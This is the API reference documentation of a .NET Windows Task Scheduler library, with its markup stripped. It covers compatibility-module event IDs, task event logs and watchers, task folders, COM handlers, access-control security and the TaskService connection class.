+ + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 